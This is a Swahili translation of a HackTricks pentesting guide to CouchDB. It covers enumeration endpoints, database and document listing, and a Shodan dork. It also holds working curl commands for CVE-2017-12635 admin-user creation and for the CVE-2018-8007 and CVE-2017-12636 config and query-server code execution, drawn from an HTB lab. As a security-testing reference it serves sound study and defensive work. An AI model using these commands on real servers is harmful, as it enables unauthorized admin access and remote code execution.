18 KiB
5984,6984 - Kupima Usalama wa CouchDB
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa kipekee wa NFTs
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Taarifa Msingi
CouchDB ni nururishi wa hati wenye uwezo na nguvu ambao hupanga data kwa kutumia muundo wa ramani ya funguo-na-thamani ndani ya kila hati. Sehemu ndani ya hati inaweza kuwakilishwa kama jozi za funguo/thamani, orodha, au ramani, ikitoa uwezo wa kuhifadhi na kupata data kwa urahisi.
Kila hati iliyohifadhiwa kwenye CouchDB inapewa kitambulisho cha kipekee (_id
) kwenye kiwango cha hati. Kwa kuongezea, kila mabadiliko yaliyofanywa na kuhifadhiwa kwenye hifadhidata yanapewa nambari ya marekebisho (_rev
). Nambari hii ya marekebisho inaruhusu ufuatiliaji na usimamizi wa mabadiliko kwa ufanisi, kurahisisha upatikanaji na usawazishaji wa data ndani ya hifadhidata.
Bandari ya chaguo-msingi: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Uchambuzi wa Kiotomatiki
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Bango
Kabla ya kuanza kuchunguza CouchDB, ni muhimu kuanza kwa kukusanya habari kuhusu mfumo huo. Moja ya njia za kufanya hivyo ni kuchunguza bango la CouchDB. Bango ni ujumbe unaotumwa na mfumo wa CouchDB wakati unapofanya ombi la kwanza. Inaweza kutoa habari muhimu kama toleo la CouchDB na maelezo mengine ya kifaa. Unaweza kutumia zana kama telnet
au nc
kuunganisha kwenye seva ya CouchDB na kuchunguza bango.
curl http://IP:5984/
Hii inatoa ombi la GET kwa mfano wa CouchDB iliyosakinishwa. Jibu linapaswa kuonekana kama moja ya yafuatayo:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
Tafadhali kumbuka kuwa ikiwa unapata 401 Unauthorized
unapojaribu kufikia mizizi ya couchdb na ujumbe kama huu: {"error":"unauthorized","reason":"Authentication required."}
hutaweza kupata bango au sehemu yoyote nyingine.
{% endhint %}
Uchunguzi wa Taarifa
Hizi ni sehemu ambapo unaweza kufikia kwa ombi la GET na kutoa taarifa muhimu. Unaweza kupata sehemu zaidi na maelezo zaidi katika nyaraka za couchdb.
/_active_tasks
Orodha ya kazi zinazoendelea, ikiwa ni pamoja na aina ya kazi, jina, hali na kitambulisho cha mchakato./_all_dbs
Inarudisha orodha ya maktaba zote katika kifaa cha CouchDB./_cluster_setup
Inarudisha hali ya kifaa au kikundi, kulingana na mchawi wa usanidi wa kikundi./_db_updates
Inarudisha orodha ya matukio yote ya maktaba katika kifaa cha CouchDB. Kuwepo kwa maktaba ya_global_changes
kunahitajika ili kutumia sehemu hii./_membership
Inaonyesha vifaa ambavyo ni sehemu ya kikundi kamacluster_nodes
. Uga waall_nodes
unaonyesha vifaa vyote ambavyo kifaa hiki kinajua, ikiwa ni pamoja na vile ambavyo ni sehemu ya kikundi./_scheduler/jobs
Orodha ya kazi za nakala. Maelezo ya kila kazi yatajumuisha habari ya chanzo na lengo, kitambulisho cha nakala, historia ya matukio ya hivi karibuni, na mambo mengine machache./_scheduler/docs
Orodha ya hali za hati za nakala. Inajumuisha habari kuhusu hati zote, hata katika hali zacompleted
nafailed
. Kwa kila hati inarudisha kitambulisho cha hati, maktaba, kitambulisho cha nakala, chanzo na lengo, na habari nyingine./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
Sehemu ya/_node/{node-name}
inaweza kutumika kuthibitisha jina la nodi ya Erlang ya seva inayoprocess ombi. Hii ni muhimu zaidi unapofikia/_node/_local
ili kupata habari hii./_node/{node-name}/_stats
Rasilimali ya_stats
inarudisha kitu cha JSON kinachojumuisha takwimu za seva inayofanya kazi. Kamba ya maandishi_local
inatumika kama kifupi cha jina la nodi ya ndani, kwa hivyo kwa URL zote za takwimu,{node-name}
inaweza kubadilishwa na_local
, ili kuingiliana na takwimu za nodi ya ndani./_node/{node-name}/_system
Rasilimali ya _system inarudisha kitu cha JSON kinachojumuisha takwimu mbalimbali za kiwango cha mfumo kwa seva inayofanya kazi. Unaweza kutumia_local
kama {node-name} ili kupata habari ya nodi ya sasa./_node/{node-name}/_restart
/_up
Inathibitisha kuwa seva iko juu, inafanya kazi, na iko tayari kujibu maombi. Ikiwamaintenance_mode
nikweli
aunolb
, sehemu itarudisha jibu la 404./_uuids
Inaomba kitambulisho kimoja au zaidi cha Kitambulisho cha Kipekee cha Kipekee (UUIDs) kutoka kifaa cha CouchDB./_reshard
Inarudisha idadi ya kazi zilizokamilika, zilizoshindwa, zinazoendelea, zilizosimamishwa, na jumla pamoja na hali ya kugawanya upya kwenye kikundi.
Taarifa zaidi ya kuvutia inaweza kupatikana kama ilivyoelezwa hapa: https://lzone.de/cheat-sheet/CouchDB
Orodha ya Maktaba
curl -X GET http://IP:5984/_all_dbs
Ikiwa ombi hilo linajibu na 401 unauthorised, basi unahitaji vyeti halali ili kupata ufikiaji wa hifadhidata:
curl -X GET http://user:password@IP:5984/_all_dbs
Ili kupata Vitambulisho halali unaweza jaribu kuvunja nguvu huduma.
Hii ni mfano wa jibu la couchdb unapokuwa na mamlaka ya kutosha ya kuorodhesha maktaba (Ni orodha tu ya maktaba):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Taarifa za Database
Unaweza kupata taarifa za database (kama vile idadi ya faili na ukubwa) kwa kufikia jina la database:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Orodha ya Nyaraka
Taja kila kuingia ndani ya kuhifadhi data
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Soma Waraka
Soma maudhui ya waraka ndani ya kuhifadhi data:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
Kuongeza Uteuzi wa Haki za CouchDB CVE-2017-12635
Kutokana na tofauti kati ya wapangaji wa JSON wa Erlang na JavaScript, unaweza kuunda mtumiaji wa admin na sifa za hacktricks:hacktricks
kwa ombi lifuatalo:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Maelezo zaidi kuhusu kasoro hii hapa.
CouchDB RCE
Uchambuzi wa Usalama wa Kuki ya Erlang
Mfano kutoka hapa.
Katika nyaraka za CouchDB, hasa katika sehemu inayohusu usanidi wa kikundi (kiungo), matumizi ya bandari na CouchDB katika hali ya kikundi yanajadiliwa. Imetajwa kuwa, kama katika hali ya kujitegemea, bandari 5984
hutumiwa. Kwa kuongezea, bandari 5986
ni kwa ajili ya API za ndani ya kifaa, na muhimu zaidi, Erlang inahitaji bandari ya TCP 4369
kwa Erlang Port Mapper Daemon (EPMD), inayorahisisha mawasiliano ya kifaa ndani ya kikundi cha Erlang. Usanidi huu unajenga mtandao ambapo kila kifaa kimeunganishwa na kila kifaa kingine.
Onyo muhimu la usalama linasisitizwa kuhusu bandari 4369
. Ikiwa bandari hii inapatikana kupitia Mtandao au mtandao usioaminika, usalama wa mfumo unategemea sana kitambulisho kipekee kinachojulikana kama "kuki." Kuki hii inafanya kazi kama kinga. Kwa mfano, katika orodha ya michakato fulani, kuki inayoitwa "monster" inaweza kuonekana, ikionyesha jukumu lake katika mfumo wa usalama wa mfumo.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Kwa wale wanaopenda kuelewa jinsi "cookie" hii inaweza kutumiwa kwa Remote Code Execution (RCE) ndani ya muktadha wa mifumo ya Erlang, sehemu maalum imeandikwa kwa ajili ya kusoma zaidi. Inaelezea njia za kutumia "cookies" za Erlang kwa njia zisizoidhinishwa ili kupata udhibiti wa mifumo. Unaweza kuchunguza mwongozo kamili wa kutumia "cookies" za Erlang kwa RCE hapa.
Kutumia CVE-2018-8007 kwa Kurekebisha local.ini
Mfano kutoka hapa.
Ugunduzi wa hivi karibuni wa udhaifu, CVE-2018-8007, unaathiri Apache CouchDB na ulichunguzwa, ukiweka wazi kuwa kutumia udhaifu huu kunahitaji ruhusa ya kuandika kwenye faili ya local.ini
. Ingawa haifai moja kwa moja kwa mfumo wa lengo la awali kutokana na vizuizi vya usalama, marekebisho yalifanywa ili kutoa ruhusa ya kuandika kwenye faili ya local.ini
kwa madhumuni ya uchunguzi. Hatua za kina na mifano ya nambari zinatolewa hapa chini, zikionyesha mchakato huo.
Kwanza, mazingira yanatayarishwa kwa kuhakikisha kuwa faili ya local.ini
inaweza kuandikwa, ikathibitishwa kwa kuorodhesha ruhusa:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Kuendeleza udhaifu huu, amri ya curl inatekelezwa, ikilenga usanidi wa cors/origins
katika local.ini
. Hii inaingiza chanzo kipya pamoja na amri za ziada chini ya sehemu ya [os_daemons]
, lengo likiwa ni kutekeleza nambari ya aina yoyote:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Uthibitisho unaofuata unaonyesha usanidi ulioingizwa katika local.ini
, ukilinganisha na nakala rudufu ili kuonyesha mabadiliko:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Kwa sasa, faili inayotarajiwa (/tmp/0xdf
) haipo, ikionyesha kuwa amri iliyochomwa haijaendeshwa bado. Uchunguzi zaidi unaonyesha kuwa kuna michakato inayohusiana na CouchDB inayoendelea, ikiwa ni pamoja na moja ambayo inaweza kutekeleza amri iliyochomwa:
root@canape:/home/homer/bin# ps aux | grep couch
Kwa kumaliza mchakato wa CouchDB uliothibitishwa na kuruhusu mfumo kuizindua tena kiotomatiki, utekelezaji wa amri iliyowekwa ndani unaanzishwa, kama inavyothibitishwa na uwepo wa faili iliyokosekana awali:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Uchunguzi huu unathibitisha uwezekano wa kufaidika na CVE-2018-8007 chini ya hali maalum, hasa hitaji la kupata ufikiaji wa kuandika kwenye faili ya local.ini
. Mifano ya nambari iliyotolewa na hatua za utaratibu zinatoa mwongozo wazi wa kuiga shambulio katika mazingira yaliyodhibitiwa.
Kwa maelezo zaidi kuhusu CVE-2018-8007, angalia taarifa ya mdsec: CVE-2018-8007.
Uchunguzi wa CVE-2017-12636 na Ruhusa ya Kuandika kwenye local.ini
Mfano kutoka hapa.
Udhaifu unaojulikana kama CVE-2017-12636 ulichunguzwa, ambao unawezesha utekelezaji wa nambari kupitia mchakato wa CouchDB, ingawa mipangilio maalum inaweza kuzuia utumiaji wake. Licha ya marejeleo mengi ya Proof of Concept (POC) yanayopatikana mtandaoni, marekebisho yanahitajika ili kutumia udhaifu huo kwenye toleo la CouchDB 2, tofauti na toleo la kawaida linalolengwa la 1.x. Hatua za awali zinahusisha kuthibitisha toleo la CouchDB na kuhakikisha kutokuwepo kwa njia ya seva ya maswali inayotarajiwa.
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Kuwezesha CouchDB toleo 2.0, njia mpya hutumiwa:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Majaribio ya kuongeza na kutekeleza seva mpya ya maswali yalikumbana na makosa yanayohusiana na ruhusa, kama ilivyodhihirishwa na matokeo yafuatayo:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Uchunguzi zaidi ulifunua matatizo ya ruhusa na faili ya local.ini
, ambayo haikuweza kuandikwa. Kwa kubadilisha ruhusa za faili kwa kutumia upatikanaji wa mizizi au homer, ilikuwa inawezekana kuendelea:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Majaribio ya baadaye ya kuongeza seva ya utafutaji yalifanikiwa, kama inavyothibitishwa na kutokuwepo kwa ujumbe wa kosa katika majibu. Kubadilisha faili ya local.ini
kwa mafanikio kulithibitishwa kupitia kulinganisha faili:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Mchakato uliendelea na uundaji wa kisanduku cha habari na hati, ukifuatiwa na jaribio la kutekeleza nambari kupitia ramani ya maoni ya desturi inayolingana na seva ya utafutaji iliyopewa hivi karibuni:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
Muhtasari na mzigo mbadala hutoa ufahamu zaidi juu ya kutumia CVE-2017-12636 chini ya hali maalum. Rasilimali muhimu za kutumia udhaifu huu ni pamoja na:
Shodan
port:5984 couchdb
Marejeo
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Jifunze kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa katika HackTricks au kupakua HackTricks kwa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi wa PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud github repos.